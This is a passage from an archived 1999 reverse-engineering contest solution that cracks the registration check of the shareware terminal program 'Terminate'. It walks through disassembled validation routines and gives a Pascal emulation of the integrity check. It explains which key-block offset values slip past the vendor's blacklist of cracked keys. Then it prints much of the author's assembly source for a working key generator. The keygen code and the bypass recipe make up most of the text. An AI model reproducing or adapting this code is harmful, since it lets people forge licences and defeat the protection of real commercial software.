0E76Ch 97E8:1B5B mov di, 0A57h 97E8:1B5E call @__Cmp$q4Realt1 ; Compare two reals 97E8:1B63 ja loc_87E8_1B68
97E8:1B65 jmp loc_87E8_191C 97E8:1B68 ;

97E8:1B68 loc_87E8_1B68: ; CODE XREF: check_integrity+ADE j 97E8:1B68 mov byte_192F_112D, 1 97E8:1B6D call
j_some_check_n_bad_noise 97E8:1B72 mov byte_192F_E414, 7 97E8:1B77 call sub_153E_E09 97E8:1B7C mov
byte_192F_23E, 0 97E8:1B81 loc_87E8_1B81: ; CODE XREF: check_integrity+348 j 97E8:1B81 mov sp, bp 97E8:1B83 pop
bp 97E8:1B84 retf 16h 97E8:1B84 check_integrity endp Here is my proggy in Pascal. You can compile it with TP6 and run. It
will write "Key is valid", because by default I use values which lead us to valid key. You can change g_bl4 to whatever you
want (this var emulates "real" CRC from decrypted block 4), g_bl5 is calculated in right way. If you try to add someting other
than 10 or sub or whatever you get "Key is not valid". For full explantation see comments in source. I use same vars names as
in Ida listing,e.g. 97E8:1743 mov ax, [bp+var_AX_bl_5] ; 97E8:1746 mov bx, [bp+var_BX_bl_5] 97E8:1749 mov dx,
[bp+var_DX_bl_5] 97E8:174C mov [bp+var_X2_AX], ax 97E8:174F mov [bp+var_X2_BX], bx 97E8:1752 mov
[bp+var_X2_DX], dx will be: X2:=bl_5; Anyway, here is pascal source: {--------------------------- cut
---------------------------------------} { global vars} Var g_bl_4,g_bl_5,g_var118:Real; { "check_integrity" emulation ;-) } { it
takes as args 3 values: "real" crc from decrypted block4, "real" "magic" from block5 and "real" var118 - its "floating point" flag
} function check_integrity(arg_bl4,arg_bl5,arg_var118:Real):Integer; Var X1,X2,X3,X4,X5:Real; bl_4,bl_5,mul_const:Real;
var6,var12,var18,var1E,var2E,var6C,var118:Real; flag:Integer; begin { vars init } flag:=0; { "bad key" by default }
X1:=2738.231; X2:=9823.436; X4:=2313.412; X3:=7863.123; X5:=2313.444; var18:=666666.0; var12:=666666.0;
var6:=1559918.7666; mul_const:=666666.0; bl_4:=arg_bl4; bl_5:=arg_bl5; var118:=arg_var118; bl_4:=bl_4*X4-bl_5;
{<-------------- !!!! } var18:=X4*235845.76666*arg_bl4; { fake } var1E:=44545.781666/var18*mul_const+var12; { fake } if
(var6+bl_4<=var18) then {fake} begin var2E:=var18+var1E; { don't used in future } end else begin
mul_const:=mul_const*var18-X4+arg_bl4; { don't used in future } end; var6C:=var1E*random($E925); { don't used in future }
if (var118>89873.12948) then { <-------------- !!! } X4:=876478.312; bl_5:=bl_4*X4-arg_bl4; { <-------------- !!! } X2:=bl_5; {
x2 must be > 7823.466 } { <-------------- !!! } { therefore: (arg_bl4*X4-arg_bl5)*X4-arg_bl4>7823.466
arg_bl4*X4*X4-arg_bl5*X4-arg_bl4>7823.466 arg_bl4(X4*X4-1)-arg_bl5*X4>7823.466
arg_bl4*5351874.0817-arg_bl5*2313.412>7823.466 Left part of this expression is always > right part whatever arg_bl4 and
arg_bl5 we have, because arg_bl5=arg_bl4+10 or =arg_bl4-10, i.e. arg_bl5 is only slightly bigger or less than arg_bl4 and
constant near arg_bl4(5351874.0817) is MUCH bigger than constant near arg_bl5(2313.412). So whatever arg_bl4 and arg_bl5
we have X2 always >7823.466 There is only one var left to explore - X4. It must be <575498.545. By default X4=2313.412.
So, by default it bypasses check. But it can be changed if var118(arg pushed to j_check_integrity) > 89873.12948. By default
var118=57544.23. So by default it <89873.12948 and therefore X4 doesnt changed and it bypasses check. But var118 also can
be changed in sub "validate key" if "magic" from block 5 doesn't ="real"CRC from block4 + 10 and if "magic" from block 5
doesn't ="real"CRC from block4 - 10. So, to bypass all checks in "j_check_integrity" we need to do next steps: -take CRC from
decrypted block 4; -convert it to real -check if it <0 and change sign then -if it<10 we must add 10 -if it>10 we must sub 10
-convert it back to Longint (i.e. 32bit value) -put calculated value to block5 at offsets 15eh,160h. } if X1<553745 then { doesn't
change } begin if X2>7823.466 then { changes } begin if X3<587863.173 then { doesn't change } begin if X4<575498.545
then { changes - most important !!! } begin if X5>2213.494 then { doesn't change } flag:=1 { valid key } end end end end;
check_integrity:=flag; end; {-------------------------------- MAIN ------------------------------------} begin g_bl_4:=50000.0; {
simulate CRC from decrypted block 4} g_var118:=57544.23; { by default - don't change } { simulate Terminate's check}
if(g_bl_4<0) then g_bl_4:=g_bl_4*(-1); if(g_bl_5<0) then g_bl_5:=g_bl_5*(-1); {calc "magic" for block 5}
g_bl_5:=g_bl_4+10; { try to add other value or sub or whatever else} if(g_bl_4+10<>g_bl_5) then begin
if(g_bl_4-10<>g_bl_5) then g_var118:=g_var118*9823.23 { set "bad key" flag } end;
if(check_integrity(g_bl_4,g_bl_5,g_var118)=0) then { call integrity_check } begin writeln(' Key is not valid '); end else begin
writeln(' Key is valid '); end; end. {--------------------------- cut ---------------------------------------} This proggy is very helpfull to
understand that key file logic is very simple. I was disappointed ;-)) Ok, lets imagine that we bypassed all checks in
"check_integrity" (and if we didn't - we will never return from "check_integrity", it will produce very bad noise on PC speaker
and go to infinite?? loop ) but it ain't over. Now T begins to check name from decrypted block 4 with several names, which
were probably in bogus keys. See complete list of these bad names in source of my keygen. Just for example: ... 87A8:0E74

http://www.instinct.org/fravia/99solu/int0com.htm (10 of 25) [2/7/2001 2:58:14 PM]


int0com.htm +HCU 1999 ~ The 1999 STRAINER's solutions

mov di, offset unk_77A8_4 87A8:0E77 push cs 87A8:0E78 push di 87A8:0E79 call @$basg$qm6Stringt1 ; Load string
87A8:0E7E mov ax, 2711h 87A8:0E81 xor dx, dx 87A8:0E83 push dx 87A8:0E84 push ax 87A8:0E85 call decryptor1 ;
decrypt "Peter Thompson" 87A8:0E8A call @$bsub$qm6Stringt1 ; Compare two strings 87A8:0E8F jnz loc_77A8_E9A After
that T performs last and most tricky check. It checks decrypted block 4 at certain offsets for specific values and decide if key
authentic or not. Offsets in block 4 which are checked by T: 72h,74h 14eh,150h - most important, coz T rejects keys with
certain values at this offset 156h,158h 87A8:138C loc_77A8_138C: ; CODE XREF: validate_key+F5B j 87A8:138C mov di,
[bp+arg_0] 87A8:138F mov ss:[di+var_138], 0D51Bh 87A8:1396 mov ss:[di+var_136], 6660h 87A8:139D mov ax,
ss:[di+var_138] 87A8:13A2 mov dx, ss:[di+var_136] 87A8:13A7 xor ax, 6660h ; ax=b37b 87A8:13AA xor dx, 6660h ; dx=0
87A8:13AE les di, ss:[di+var_106] 87A8:13B3 cmp dx, es:[di+150h] 87A8:13B8 jnz loc_77A8_13F3 87A8:13BA cmp ax,
es:[di+14Eh] 87A8:13BF jnz loc_77A8_13F3 87A8:13C1 mov di, [bp+arg_0] 87A8:13C4 les di, ss:[di+var_106] 87A8:13C9
cmp word ptr es:[di+158h], 0E14Dh 87A8:13D0 jnz loc_77A8_13F3 87A8:13D2 cmp word ptr es:[di+156h], 2E1Ah
87A8:13D9 jnz loc_77A8_13F3 87A8:13DB mov di, [bp+arg_0] 87A8:13DE mov ss:[di+var_FLAG_ax], 5292h ; 234666.23
87A8:13E5 mov ss:[di+var_FLAG_bx], 8EB8h 87A8:13EC mov ss:[di+var_FLAG_dx], 652Ah ... 87A8:14C7
loc_77A8_14C7: ; CODE XREF: validate_key+1072 j 87A8:14C7 mov di, [bp+arg_0] 87A8:14CA les di, ss:[di+var_106]
87A8:14CF cmp word ptr es:[di+158h], 0FA98h 87A8:14D6 jz loc_77A8_14DB 87A8:14D8 jmp loc_77A8_1598 87A8:14DB
;
87A8:14DB 87A8:14DB loc_77A8_14DB: ; CODE XREF: validate_key+10D9 j 87A8:14DB cmp word ptr es:[di+156h],
12FDh 87A8:14E2 jz loc_77A8_14E7 87A8:14E4 jmp loc_77A8_1598 87A8:14E7 ;

87A8:14E7 87A8:14E7 loc_77A8_14E7: ; CODE XREF: validate_key+10E5 j 87A8:14E7 mov di, [bp+arg_0] 87A8:14EA les
di, ss:[di+var_106] 87A8:14EF mov al, es:[di+76h] ; bit 0 of this byte must be 0 87A8:14F3 and al, 1 ; else we get message that
this 87A8:14F5 cmp al, 1 ; key created for other platform 87A8:14F7 jnz loc_77A8_1545 ; or something like this ....
87A8:1545 loc_77A8_1545: ; CODE XREF: validate_key+10FA j 87A8:1545 mov di, [bp+arg_0] 87A8:1548 les di,
ss:[di+var_106] 87A8:154D cmp word ptr es:[di+74h], 4638h 87A8:1553 jnz loc_77A8_155D 87A8:1555 cmp word ptr
es:[di+72h], 2391h 87A8:155B jz loc_77A8_1561 87A8:155D loc_77A8_155D: ; CODE XREF: validate_key+1156 j
87A8:155D mov al, 0 87A8:155F jmp short loc_77A8_1563 87A8:1561 ;

87A8:1561 loc_77A8_1561: ; CODE XREF: validate_key+115E j 87A8:1561 mov al, 1 87A8:1563 loc_77A8_1563: ; CODE
XREF: validate_key+1162 j 87A8:1563 mov [bp+var_FLAG_1_byte], al 87A8:1566 mov di, [bp+arg_0] 87A8:1569 mov ax,
ss:[di+var_110] 87A8:156E sub ax, 2C92h ; 3ef 87A8:1571 xor dx, dx ; 0 87A8:1573 les di, ss:[di+var_106] 87A8:1578 cmp
dx, es:[di+150h] 87A8:157D jnz loc_77A8_1598 87A8:157F cmp ax, es:[di+14Eh] 87A8:1584 jnz loc_77A8_1598 87A8:1586
mov word_192F_4A, 3D91h ; 102394.93 87A8:158C mov word_192F_4C, 770Ah 87A8:1592 mov word_192F_4E, 47FDh
87A8:1598 loc_77A8_1598: ; CODE XREF: validate_key+10DB j 87A8:1598 mov di, [bp+arg_0] 87A8:159B les di,
ss:[di+var_106] 87A8:15A0 mov ax, es:[di+14Eh] 87A8:15A5 mov dx, es:[di+150h] 87A8:15AA mov Bl4_14e_AX, ax
87A8:15AD mov Bl4_150_DX, dx 87A8:15B1 mov di, [bp+arg_0] 87A8:15B4 les di, ss:[di+var_106] Developers of T are
very smart. They don't check for good values. They check for "bad" ones, i.e. values from keys , generated by crackers for
previous version of T. This strategy allows them to hide "picture" of authentic key. Cracker just couldn't know how valid key
should looks like. He can only see how this key shouldn't looks like :)) This is a big difference. Cracker looks here, chooses
values at offsets 15e,160 which are not STILL checked and makes new keygen. Developers analyse that keygen and include
check for it it next version of T. Very smart move. So how can we produce valid key for all future version of T ? There are
several ways: 1) these keys must not contain values checked below at offsets 15eh,160h So what could they contain there: a)
some fixed values, not checked in current version of T. But this will lead us nowhere. Developers of T will include check for
these values in future ver of T. b) random values, which will be different for every key our keygen will produce. We only need
to check it for "bad" ones as T does and regene rate if need. This is good way but there is posibility that one day our keygen
will generate key, which will contain values, which will be checked in future ver of T. And there is another posibility:
developers of T begins to check for "good" values, i.e. values which exist in authentic keys - then our keys won't be valid. c)
We can make our keys look like old authentic keys, because T must accept old authentic keys. T checks for such keys in very
"softly" and hidden way. First, it checks offsets 156h,158h for 0FA98h,12FDh: 87A8:14CF cmp word ptr es:[di+158h],
0FA98h 87A8:14D6 jz loc_77A8_14DB 87A8:14D8 jmp loc_77A8_1598 87A8:14DB loc_77A8_14DB: ; CODE XREF:
validate_key+10D9 j 87A8:14DB cmp word ptr es:[di+156h], 12FDh 87A8:14E2 jz loc_77A8_14E7 87A8:14E4 jmp
loc_77A8_1598 If T founds these values then it checks if byte at offset 76h have bit 0 set to 1. 87A8:14EF mov al, es:[di+76h]
; bit 0 of this byte must be 0 87A8:14F3 and al, 1 ; else we get message that this 87A8:14F5 cmp al, 1 ; key created for other
platform 87A8:14F7 jnz loc_77A8_1545 ; or something like this If bit0 set to 0 then T perform next check: 87A8:154D cmp
word ptr es:[di+74h], 4638h ; 87A8:1553 jnz loc_77A8_155D 87A8:1555 cmp word ptr es:[di+72h], 2391h ; 87A8:155B jz
loc_77A8_1561 87A8:155D loc_77A8_155D: ; CODE XREF: validate_key+1156 j 87A8:155D mov al, 0 ; some flag, used

http://www.instinct.org/fravia/99solu/int0com.htm (11 of 25) [2/7/2001 2:58:14 PM]


int0com.htm +HCU 1999 ~ The 1999 STRAINER's solutions

when T patch itself 87A8:155F jmp short loc_77A8_1563 87A8:1561 ;

87A8:1561 loc_77A8_1561: ; CODE XREF: validate_key+115E j 87A8:1561 mov al, 1 87A8:1563 loc_77A8_1563: ; CODE
XREF: validate_key+1162 j 87A8:1563 mov [bp+var_FLAG_1_byte], al 87A8:1566 mov di, [bp+arg_0] And finally T checks
offset 14eh,150h for 3ef, 0. If such values found T set its beloved "floating point" flag. 87A8:1569 mov ax, ss:[di+var_110]
87A8:156E sub ax, 2C92h ; 3ef 87A8:1571 xor dx, dx ; 0 87A8:1573 les di, ss:[di+var_106] 87A8:1578 cmp dx, es:[di+150h]
87A8:157D jnz loc_77A8_1598 87A8:157F cmp ax, es:[di+14Eh] 87A8:1584 jnz loc_77A8_1598 87A8:1586 mov
word_192F_4A, 3D91h ; 102394.93 87A8:158C mov word_192F_4C, 770Ah ;"floating point" flag 87A8:1592 mov
word_192F_4E, 47FDh And thats all! After that T begins check offsets 14eh,150h for "bad" values even if it found 3ef,0 there
earlier. But it we have 3ef,0 at offsets 14e,150 - we bypass those checks for sure !!! 87A8:15B9 cmp word ptr es:[di+150h],
0FE6Fh 87A8:15C0 jnz loc_77A8_15CB 87A8:15C0 jnz loc_77A8_15CB 87A8:15C2 cmp word ptr es:[di+14Eh], 0DF92h
87A8:15C9 jz loc_77A8_161E ; "unauthorized key" 87A8:15CB loc_77A8_15CB: ; CODE XREF: validate_key+11C3 j
87A8:15CB mov di, [bp+arg_0] 87A8:15CE les di, ss:[di+var_106] 87A8:15D3 cmp word ptr es:[di+150h], 0C740h
87A8:15DA jnz loc_77A8_15E5 87A8:15DC cmp word ptr es:[di+14Eh], 0AE99h 87A8:15E3 jz loc_77A8_161E 87A8:15E5
loc_77A8_15E5: ; CODE XREF: validate_key+11DD j 87A8:15E5 mov di, [bp+arg_0] 87A8:15E8 les di, ss:[di+var_106]
87A8:15ED cmp word ptr es:[di+150h], 0 87A8:15F3 jnz loc_77A8_15FE 87A8:15F5 cmp word ptr es:[di+14Eh], 0B37Bh
87A8:15FC jz loc_77A8_161E 87A8:15FE loc_77A8_15FE: ; CODE XREF: validate_key+11F6 j 87A8:15FE mov di,
[bp+arg_0] 87A8:1601 les di, ss:[di+var_106] 87A8:1606 cmp word ptr es:[di+150h], 0C740h 87A8:160D jz loc_77A8_1612
87A8:160F jmp loc_77A8_1704 87A8:1612 ;

87A8:1612 loc_77A8_1612: ; CODE XREF: validate_key+1210 j 87A8:1612 cmp word ptr es:[di+14Eh], 0AE66h 87A8:1619
jz loc_77A8_161E 87A8:161B jmp loc_77A8_1704 87A8:161E ;

87A8:161E loc_77A8_161E: ; CODE XREF: validate_key+11CC j 87A8:161E ; validate_key+11E6 j validate_key+11FF j


87A8:161E ; here T display msg like "You are using unautorised key..." So, we must put to decrypted block4: 0,3ef at offsets
14eh,150h; 0fa98h,12fdh at offsets 156h,158h; set to 0 bit0 of byte at offset 76h. Such kind of key will be valid in any future
ver of T. My idea about these keys was confirmed when I saw old keygen for Terminate 3 by PREDATOR 666. I decrypted
keys it creates and saw that is also uses such strategy, i.e. 0,3ef to 14e,150 and so on as I described earlier. And what more
important that this keygen based on knowledge about original keys. After it creates key it displays message like "thank to well
known guy for giving us 3 original keys". So as I thougth authentic keys looks like I described above. Also this keygen gave
me some other important info about original key, i.e. key header; blocks 6-10 at offsets 15e,160 contains CRC of previous
blocks. So I wrote my keygen using this info. But if you think that its CHEATING I made several command line switches
which let generates valid keys without header and CRC stored in blocks 6-10. Ok, lets get back to T. After key at last checked
T begins to create reginfo and patch terminat.exe. See begining of me solution to look at reginfo format. Here I'll explain how 4
bytes at offsets 1615E3h-1615E6h set. 1615E3h-1615E6h - 4 bytes 01,x,01,y. x=84h by default x=79h if offsets 72h,74h of
decr. block 4 contains 2391h,4638h y=DBh if offs. 14eh,150h contains 0,3ef y=EAh if values at offs. 14eh,150h doesn't =
0,b37b and doesn't = 0,3ef or values at offs. 156h,158h doesn't = 2e1a,e14d and doesn't = 12fd,fa98 y=6Dh if 14eh,150h
contains 0,b37b and offs. 156h,158h contains 2e1a,e14d. But this value cannot be set because such key won't bypass earlier
check. I don't know why T store these bytes, it doesn't even check it later. May be all these made for checks in future versions
of Terminate. T takes values from offsets 154h,156h, xor them with FFFF,FFFF, convert to ASCII string and put them at
offsets 1615F1h-1615F9h in terminat.exe This is also doesn't have any point for me now, may be it also one of traps, may be
they will check reginfo in future version of T. Anyway, I made switch "i" in my keygen that allow you specify values you want
at offsets 152h,154h at decrypted block 4. 87A8:21E4 mov ax, es:[di+152h] ; take bytes from unpacked block4 87A8:21E9
mov dx, es:[di+154h] ; xor them and convert to ASCII 87A8:21EE xor ax, 0FFFFh 87A8:21F1 xor dx, 0FFFFh 87A8:21F5
push dx 87A8:21F6 push ax 87A8:21F7 call j_convert_32bit_to_ASCII Also T xor , converts to ASCII and saves to
terminat.exe at offsets 1615DAh-1615E2h some kind of seed used by encrypt/decrypt subs. So then T can read this ASCII
string, convert it to 32 bit value, xor it and decrypt reginfo. 87A8:1D8F mov ax, ss:[di+var_AX_XOR_MAGIC] 87A8:1D94
mov dx, ss:[di+var_DX_XOR_MAGIC] 87A8:1D99 xor ax, 34FFh 87A8:1D9C xor dx, 12FFh 87A8:1DA0 mov
ss:[di+var_AX_XOR_MAGIC], ax 87A8:1DA5 mov ss:[di+var_DX_XOR_MAGIC], dx After everything done T display
message and exit. 87A8:2279 loc_77A8_2279: 87A8:2279 mov di, [bp+arg_0] 87A8:227C push word ptr ss:[di+var_106+2]
87A8:2281 push word ptr ss:[di+var_106] 87A8:2286 mov ax, 162h 87A8:2289 push ax 87A8:228A call
@FreeMem$qm7Pointer4Word ; Free mem allocated for key block 87A8:228F call sub_267_57 ; print "Terminat.reg"
generated .... 87A8:2294 call call_write_to_screen 87A8:2299 xor ax, ax 87A8:229B call @Halt$q4Word ; Halt(Word) Ok, at
last. My powerfull advanced Terminate 3,4,5+ keygen :)) ;-------------------------------- term_akg.asm ------------------------------ ;
Terminate 3,4,5+ Advanced Key Generator. ; (C)oded by iNT_03h in 1998. ; tasm 5.0r ; compile: tasm.exe term_akg.asm ;

http://www.instinct.org/fravia/99solu/int0com.htm (12 of 25) [2/7/2001 2:58:14 PM]


int0com.htm +HCU 1999 ~ The 1999 STRAINER's solutions

link: tlink.exe term_akg.obj .286p .MODEL Small .Code ;----------------------------- macros --------------------------------- PRINTF
Macro ; macro for display string mov AH,09 ; ds:dx must point to string int 21h Endm GETCH Macro ; wait for press key xor
AH,AH int 16h Endm SCANF Macro ; macro for enter string from kbd mov AH,0Ah ; ds:dx must points to buffer int 21h
Endm WRT_BLOCK Macro ; write current block of key to keyfile mov AH,40h mov BX,Handle mov CX,Blk_len mov DX,
Offset Temp_blk int 21h Endm STORE_CRC Macro ; put crc in block mov BX, Crc_ax mov DI, Offset Temp_blk+15Eh mov
DS:[DI],BX inc DI inc DI mov BX, Crc_dx mov DS:[DI],BX Endm ;================================
CODE_SEG ============================== START: .Startup ;set mode 3 mov AX,3 int 10h mov DX, Offset
Start_msg ; display start message PRINTF mov CL,Byte Ptr ES:[80h] ; number+1 of char in cmd line or CL,CL jne LABEL1 ;
damn, "relative jump out of range" jmp GET_REGINFO LABEL1: inc CL ; +1 because we dec it at first step of loop mov
DI,80h ; start offset-1 of cmd line in PSP CHECK_CMD_LINE: inc DI dec CL jne LABEL2 ; damn, "relative jump out of
range" jmp GET_REGINFO LABEL2: mov AL, ES:[DI] cmp AL,' ' ; dont notice spaces je CHECK_CMD_LINE cmp AL,'?' ;
"?" jne CHECK_SW2 mov DX,Offset Help ; display help PRINTF jmp QUIT ; set flags depending on cmd line CHECK_SW2:
cmp AL,'s' ; switches je RND_SIG cmp AL,'S' jne CHECK_SW3 RND_SIG: mov Rnd_sig_flag,1 jmp CHECK_CMD_LINE
CHECK_SW3: cmp AL,'z' je Z_FIL cmp AL,'Z' jne CHECK_SW4 Z_FIL: mov Z_fil_flag,1 jmp CHECK_CMD_LINE
CHECK_SW4: cmp AL,'l' je FIX_LEN1 cmp AL,'L' jne CHECK_SW5 FIX_LEN1: mov Fixed_len_flag,1 jmp
CHECK_CMD_LINE CHECK_SW5: cmp AL,'a' je FIX_LEN2 cmp AL,'A' jne CHECK_SW6 FIX_LEN2: mov
Fixed_len_flag,2 jmp CHECK_CMD_LINE CHECK_SW6: cmp AL,'c' je NO_CRC cmp AL,'C' jne CHECK_SW7 NO_CRC:
mov No_crc_flag,1 jmp CHECK_CMD_LINE CHECK_SW7: cmp AL,'o' je OFF_72 cmp AL,'O' jne CHECK_SW8 OFF_72:
mov Off_72_flag,1 jmp CHECK_CMD_LINE CHECK_SW8: cmp AL,'i' je OFF_152__ cmp AL,'I' jne CHECK_SW9
OFF_152__: call CONVERT CHECK_SW9: cmp AL,'r' je NO_HDR cmp AL,'R' je NO_HDR ; damn, "relative jump out of
range" jmp CHECK_CMD_LINE NO_HDR: mov No_hdr_flag,1 jmp CHECK_CMD_LINE GET_REGINFO: ;
-------------------------- get reginfo ---------------------------- push DS ; we dont need PSP anymore pop ES mov DX, Offset
Start_msg1 ; display start message PRINTF GET_REGINFO1: mov DX, Offset Name_ PRINTF mov DX, Offset Nam ; get
name SCANF mov DX, Offset Addr_ask PRINTF mov DX, Offset Addres ; get addres SCANF mov DX, Offset City_ask
PRINTF mov DX, Offset City SCANF mov DX, Offset Country_ask PRINTF mov DX, Offset Country SCANF mov DX,
Offset Nl PRINTF ;------------------------------- check for bad names and city ---------- mov Counter1,21 ; number of names to
check xor DH,DH xor CH,CH mov DI,Offset Bad_names AGAIN: cmp Counter1,1 ; last one in list of bad name jnz
CHECK_NAME ; is acctualy city ( checked at "city" field) mov SI,Offset City+2 jmp GET_LEN CHECK_NAME: mov
SI,Offset Nam+2 ; bypass buffer len and num GET_LEN: mov Byte Ptr CL,[DI] ; length of bad name mov Byte Ptr AL,[SI-1] ;
length of entered name cmp AL,CL ; if len of nam>len of bad name jae USE_BAD_NAM_LEN ; use len if bad name as
counter xchg CL,AL ; else use nam len USE_BAD_NAM_LEN: mov DL,CL ; save for future use inc DI ; bypass len. of bad
name repz cmpsb jz BAD_NAME_FOUND dec Counter1 jz CREAT_KEY dec DI sub DX,CX sub DI,DX ; find next bad
name mov Byte Ptr DL,[DI] add DI,DX inc DI jmp AGAIN BAD_NAME_FOUND: mov DX,Offset Bad_name_msg PRINTF
GETCH jmp GET_REGINFO1 ;------------------------------- create key file ----------------------- CREAT_KEY: mov AX, 3C00h
mov CX, 32 ; "archive" file mov DX, Offset Keyfile int 21h ; create keyfile jnb NO_ERROR1 mov DX, Offset Error_1
PRINTF jmp QUIT NO_ERROR1: mov Handle,AX; call RANDOMIZE ; init "seed" MAIN_LOOP: mov AX,Crc_ax mov
Temp_ax,AX mov AX,Crc_dx mov Temp_dx,AX inc Counter1 call FILL_BLK ; fill block with random words or 0 cmp
Counter1,1 ; first block ? jne CHECK4 cmp No_hdr_flag,1 je CHECK_BAD_BYTE call FILL_1ST_BLK ; Write header to 1st
block jmp CRC CHECK_BAD_BYTE: ; bypass Terminate check cmp Byte Ptr [Offset Temp_blk+0Bh],46h jne CRC
BAD_BYTE: call RANDOM cmp AL,46h je BAD_BYTE mov Byte Ptr [Offset Temp_blk+0Bh],AL CHECK4: cmp
Counter1,4 ; block 4? jne CRC call MAKE_BLK4 ; write reginfo, signatures, pak block4 CRC: mov DI,Offset Temp_blk and
Word Ptr Counter,0 ; start offset in block =0 call CRC_CALC ; check if we need to adjust CRC in block 2,11 cmp Counter1,2
;block 2? jne CHECK11 mov DI, Offset Temp_blk call CHK_5 ; check if first 5 bytes of block 2 or AL,AL ; = each other then
modify CRC_AX, jne ADJUST_CRC ; CRC_DX as Terminate does jmp WRITE ADJUST_CRC: add Crc_ax,329h ; adjust
CRC adc Crc_dx,0h jmp WRITE CHECK11: cmp Counter1,0Bh jne STORE_CHK lea DI, Temp_blk[12Ch] call CHK_5 ;
check if 5 bytes of block 11 ; = each other then modify CRC_AX, ; CRC_DX as Terminate does or AL,AL je
CURENT_STORE add Crc_ax,192h adc Crc_dx,0h jmp CURENT_STORE ; store CRC if needed STORE_CHK: cmp
Counter1,5 ; we need to save magic values jne CHECK6 mov BX, Bl5_ax ; to block 5 mov DI, Offset Temp_blk+15Eh mov
DS:[DI],BX mov BX, Bl5_dx inc DI inc DI mov DS:[DI],BX jmp WRITE CHECK6: cmp Counter1,6 ; dont store crc in blocks
1-5 jb WRITE cmp No_crc_flag,1 je CLEAR_CRC STORE: ; previous block CRC store mov BX, Temp_ax mov DI, Offset
Temp_blk+15Eh mov DS:[DI],BX inc DI inc DI mov BX, Temp_dx mov DS:[DI],BX jmp WRITE CURENT_STORE: ; in
block 11 we must save STORE_CRC ; current block CRC jmp WRITE CLEAR_CRC: lea DI, Temp_blk[15Eh] and Word Ptr
[DI],0 ; clear CRC place inc DI inc DI and Word Ptr [DI],0 WRITE: WRT_BLOCK jnb NO_ERROR2 mov DX, Offset
Error_2 PRINTF jmp CLOSE_KF NO_ERROR2: cmp Counter1,Num_blk je DONE jmp MAIN_LOOP DONE: mov DX,
Offset Done_msg PRINTF cmp Fixed_len_flag,1 je CLOSE_KF inc Counter1 ;bypass own check for 0DCh in fill_blk call

http://www.instinct.org/fravia/99solu/int0com.htm (13 of 25) [2/7/2001 2:58:14 PM]


int0com.htm +HCU 1999 ~ The 1999 STRAINER's solutions

FILL_BLK call RANDOMIZE RND_LEN: call RANDOM ; get random length cmp Fixed_len_flag,2 jne chk_rnd_part mov
AL,3905-3894 ;make fixed len = 3905 jmp ADD_RND_PART CHK_RND_PART: cmp AL,1 ; it should be from 1 to 105 jb
RND_LEN cmp AL,105 ja RND_LEN ADD_RND_PART: ; write random size block xor AH,AH ; to the end of keyfile mov
CX,AX mov AH,40h mov BX,Handle mov DX, Offset Temp_blk int 21h CLOSE_KF: mov AH,3Eh mov BX,Handle int 21h
QUIT: mov AX,4C00h int 21h ;------------------------------- CRC calc --------------------------------- CRC_CALC Proc ; proc calc
crc for current block of key in Temp_Block ; kills di,ax,bx,cx,dx ; di - start offset ; counter - number of bytes to proceed ; this
sub taken from terminate, modified a little ; mov di, offset Temp_Blk LOOP1: mov Byte Ptr AL,DS:[DI] mov Word Ptr
BX,Crc_ax mov Word Ptr DX,Crc_dx mov CX,AX push DX push BX xor BX,CX xor BH,BH shl BX,1 shl BX,1 add BX,
Offset Crc_table mov AX,DS:[BX] mov CX,DS:[BX+2] pop BX pop DX push CX mov CX,8 LOOP2: shr DX,1 rcr BX,1 loop
LOOP2 and DX,0FFh pop CX xor AX,BX mov BX,CX xor DX,BX mov Word Ptr Crc_ax,AX mov Word Ptr Crc_dx,DX inc
DI inc Counter cmp Word Ptr Counter,15Eh jne LOOP1 ret CRC_CALC Endp ;------------------------------ Random
----------------------------- RANDOM Proc ; proc generate pseudo-random number ; kill ax ; return random num in ax ; after
several experiments I found combination of math operations ; that lets create random numbers rather well mul Rnd_word1 xchg
AH,AL xor AX,Rnd_word2 add Rnd_word1,AX push AX mov AX,Rnd_word1 xor Rnd_word2,AX pop AX ; and ax,0ffh ret
RANDOM Endp ;----------------------------- Randomize ---------------------------- RANDOMIZE Proc ; kill ax,dx ; modify "seed"
push DS mov AX, 40h ; segment of timer counter mov DS,AX cli mov AX, DS:[6Ch] ; offset of timer counter low word mov
DX, DS:[6Eh] ; high word sti pop DS sub Rnd_word1,AX add Rnd_word2,DX ret RANDOMIZE Endp
;--------------------------------- Fill block with random bytes or 0 --- FILL_BLK Proc ; kill di,cx,ax,es cld mov Word Ptr
CX,Blk_len/2 dec CX ; dont fill CRC place dec CX mov DI, Offset Temp_blk cmp Z_fil_flag,1 ; if =0 then fill block with
random jne LOOP3 ; words xor AX,AX ; else - with 0 push DS pop ES rep stosw ret LOOP3: call RANDOM mov Word Ptr
DS:[DI],AX ; fill with random words inc DI inc DI loop LOOP3 cmp Counter1,0Bh ; we need to check in block 11 ; offset
15ah for value 0DCh ; because Terminate also does ; this check, but Term looks ; for whole signature DC,64,D9,E9 ; Although
its very small posibility ; to get that signature in our block 11 ; after filling it with random values, ; I decided to check for first
byte ; and randomly change it if it = DC jne RET_ cmp Byte Ptr [Offset Temp_blk+15Ah],0DCh jne RET_ BAD_BYTE1: call
RANDOM cmp AL,0DCh je BAD_BYTE1 mov Byte Ptr [Offset Temp_blk+15Ah],AL RET_: ret FILL_BLK Endp
;----------------------------- Write header to 1st block ---------------- FILL_1ST_BLK Proc ;kill di,si,cx cld mov SI, Offset
Key_header1 mov DI, Offset Temp_blk mov CX,33 ; length of header1 rep movsb xor CX,CX ;copy name mov SI, Offset
Nam+2 mov DI, Offset Temp_blk+33 mov CL, Nam_len ; length of Name rep movsb mov SI, Offset Key_header2 mov DI,
Offset Temp_blk+33 mov CL, Nam_len add DI, CX mov CX,5 ; length of header2 rep movsb ret FILL_1ST_BLK Endp
;------------------------------- Check for 5 = bytes ----------- CHK_5 Proc ; di must point to start offset ; proc check 5 consecutive
bytes, begin from es:[di] ; return al=1 if they equal each other ; else al=0 ; kill cx mov CX,4 mov Byte Ptr AL,[DI] LOOP4: inc
DI mov Byte Ptr AH,[DI] cmp AL,AH jne RET_1 xchg AL,AH loop LOOP4 mov AL,1 ret RET_1: xor AL,AL ret CHK_5
Endp ;---------------------------- make block 4 --------------------------- MAKE_BLK4 Proc cld ; set direction - forward xor CH,CH
lea SI, Nam[1] ; points to len of name lea DI, Temp_blk[7Ah] ; points to offset of name in blk4 mov CL, Nam_len ; length of
name inc CL rep movsb ; copy lea SI, Addres[1] ;addres lea DI, Temp_blk[0ADh] mov CL, Addres_len inc CL rep movsb lea
